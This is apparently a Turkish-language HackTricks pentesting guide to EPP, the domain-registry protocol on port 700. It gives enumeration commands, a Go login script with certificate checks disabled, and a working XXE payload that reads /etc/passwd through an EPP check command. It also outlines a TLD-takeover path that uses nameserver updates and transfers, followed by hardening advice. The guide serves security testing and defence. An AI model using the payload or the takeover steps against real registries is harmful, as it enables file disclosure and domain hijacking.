700 - Pentesting EPP
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Extensible Provisioning Protocol (EPP), alan adı kayıtları ve kayıt operatörleri tarafından alan adları ve diğer internet kaynaklarının yönetimi için kullanılan bir ağ protokolüdür. Alan adı kaydı, yenileme, transfer ve silme süreçlerinin otomasyonunu sağlar ve alan adı sistemi (DNS) içindeki farklı varlıklar arasında standart ve güvenli bir iletişim çerçevesi sunar. EPP, internet altyapısının ihtiyaçları geliştikçe yeni özellikler ve komutların eklenmesine olanak tanıyacak şekilde esnek ve genişletilebilir olacak şekilde tasarlanmıştır.
Temelde, bu, TLD kayıt operatörünün TLD'de yeni alan adları kaydetmek için alan adı kayıt operatörlerine sunacağı protokollerden biridir.
Pentest
Bu çok ilginç makalede bazı güvenlik araştırmacılarının bu protokolün birkaç uygulamasının XXE (XML Dış Varlık) saldırılarına karşı savunmasız olduğunu nasıl bulduğunu görebilirsiniz, çünkü bu protokol iletişim için XML kullanmaktadır ve bu da saldırganların farklı TLD'lerin on tanesini ele geçirmesine olanak tanımıştır.
Sayım & Keşif
EPP sunucuları neredeyse her zaman TLS üzerinden TCP 700/tcp
dinler. Tipik bir dağıtım ayrıca karşılıklı TLS (mTLS) uygulayarak, istemcinin kayıt CA tarafından verilen geçerli bir sertifika sunmasını zorunlu kılar. Ancak, birçok özel test veya ön üretim dağıtımı bu kontrolü unutur:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
Eğer sunucu TLS el sıkışmasından sonra bağlantıyı sonlandırmazsa, kimlik doğrulaması yapılmamış bir <hello/>
mesajı göndermeyi deneyebilirsiniz:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Test için yararlı açık kaynaklı istemciler
- epp-client (Go) – aktif olarak bakım yapılan, TCP/TLS ve EPP-over-HTTPS (RFC 8730) destekleyen:
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – fuzzing veya nuclei tarzı iş akışları için kolayca enstrümante edilebilen minimal istemci kütüphanesi.
- afq984/php-epp-client – birçok küçük kayıt kuruluşu tarafından kullanılan PHP uygulaması; kod incelemesi için uygun bir hedef.
Go epp-client ile örnek minimal giriş+kontrol scripti:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Yaygın Zayıflıklar & 2023-2025 Güvenlik Açıkları
Yıl | Bileşen | CWE | Etki |
---|---|---|---|
2023 | CoCCA Kayıt Defteri < 3.5 | CWE-611 XXE | Uzaktan dosya okuma & SSRF, hazırlanmış <epp> yükü aracılığıyla (yamanın tarihi: 2023-11-02) |
2024 | FRED EPP Sunucusu 2.x | CWE-322 Yetersiz TLS sertifika doğrulaması | mTLS'nin atlanması, yetkisiz kayıtlı girişine izin verdi |
2025 | Özel kayıtlı panel | CWE-306 Kritik Fonksiyon için Kimlik Doğrulama Eksikliği | Alan adı transfer onay uç noktası EPP-HTTP köprüsü üzerinden ifşa edildi |
XXE / SSRF yükü (birçok Java/Spring uygulamasına karşı çalışır)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
When the parser is mis-configured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
) the file content is returned inside the <resData>
structure.
Diğer tipik bulgular
- Zayıf kimlik bilgisi politikası – EPP giriş parolaları 8 karakterden daha kısa; spesifikasyon sadece hız sınırlamasını TAVSİYE eder (zorunlu kılmaz) bu nedenle brute-force genellikle mümkündür.
- Eksik
registryLock
/serverUpdateProhibited
durumu – bir kez kimlik doğrulandıktan sonra, saldırganlar hemen NS kayıtlarını güncelleyebilir ve trafiği çalabilir. - İmzalanmamış anket mesajları – bazı uygulamalar hala anket Soru-Cevap mesajlarını imzalamıyor, bu da kayıt operatörlerinin sahtecilik/phishing yapmasına olanak tanıyor.
Saldırı Yolu: Sıfırdan TLD Ele Geçirme
- Bir EPP uç noktasını keşfedin (genellikle
ot&e.<tld>.nic.<cc>
gibi genel bir ana bilgisayarın arkasında gizlidir). - Yukarıdaki zayıflıklardan birini kötüye kullanarak kayıt düzeyinde kimlik bilgileri elde edin (XXE → SSRF to IMDSv1, kimlik bilgisi sızıntısı veya TLS-atlatma).
- Alan adının
hostObj
kayıtlarını saldırgan kontrolündeki ad sunucularına değiştirmek için<update>
istekleri gönderin. - (İsteğe bağlı) Alan adını saldırgan kontrolündeki bir kayıtçıya taşımak için bir
<transfer>
gönderin – birçok kayıt hala tek bir yetki koduna güveniyor. - Kar: DNS bölgesinin tam kontrolü, ACME aracılığıyla TLS sertifikaları talep etme yeteneği.
Savunma Önlemleri & Güçlendirme
- Kayıtçı başına istemci sertifikaları ile mTLS'yi zorlayın ve kayıt CA'sını sabitleyin.
- XXE'yi öldürmek için
parserFeature secure-processing=true
veya eşdeğerini ayarlayın. - XML ayrıştırıcısının sürekli fuzzing'ini gerçekleştirin (örneğin,
go-fuzz
veya Java içinjazzer
ile). - Yüksek değerli alanlar için Registry Lock / server*Prohibited durumlarını dağıtın.
- Şüpheli
<transfer>
veya<update>
komutları içinpoll
kuyruğunu izleyin ve gerçek zamanlı olarak uyarın. - ICANN 2024 DNS-Kötüye Kullanım sözleşmesi değişiklikleri, kayıtların hız sınırlaması ve kimlik doğrulama kontrollerini kanıtlamasını gerektirir – bunları kullanın.
Referanslar
- ICANN Güvenlik ve İstikrar Danışma Komitesi (SSAC). "SAC118: Kayıt Operatörünün EPP Güvenlik Kontrollerini Uygulamaması Sonuçları". 2024.
- HackCompute – "EPP sunucularını hacklemek: TLD'leri ele geçirmek için XXE'yi kötüye kullanma" (2023).
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.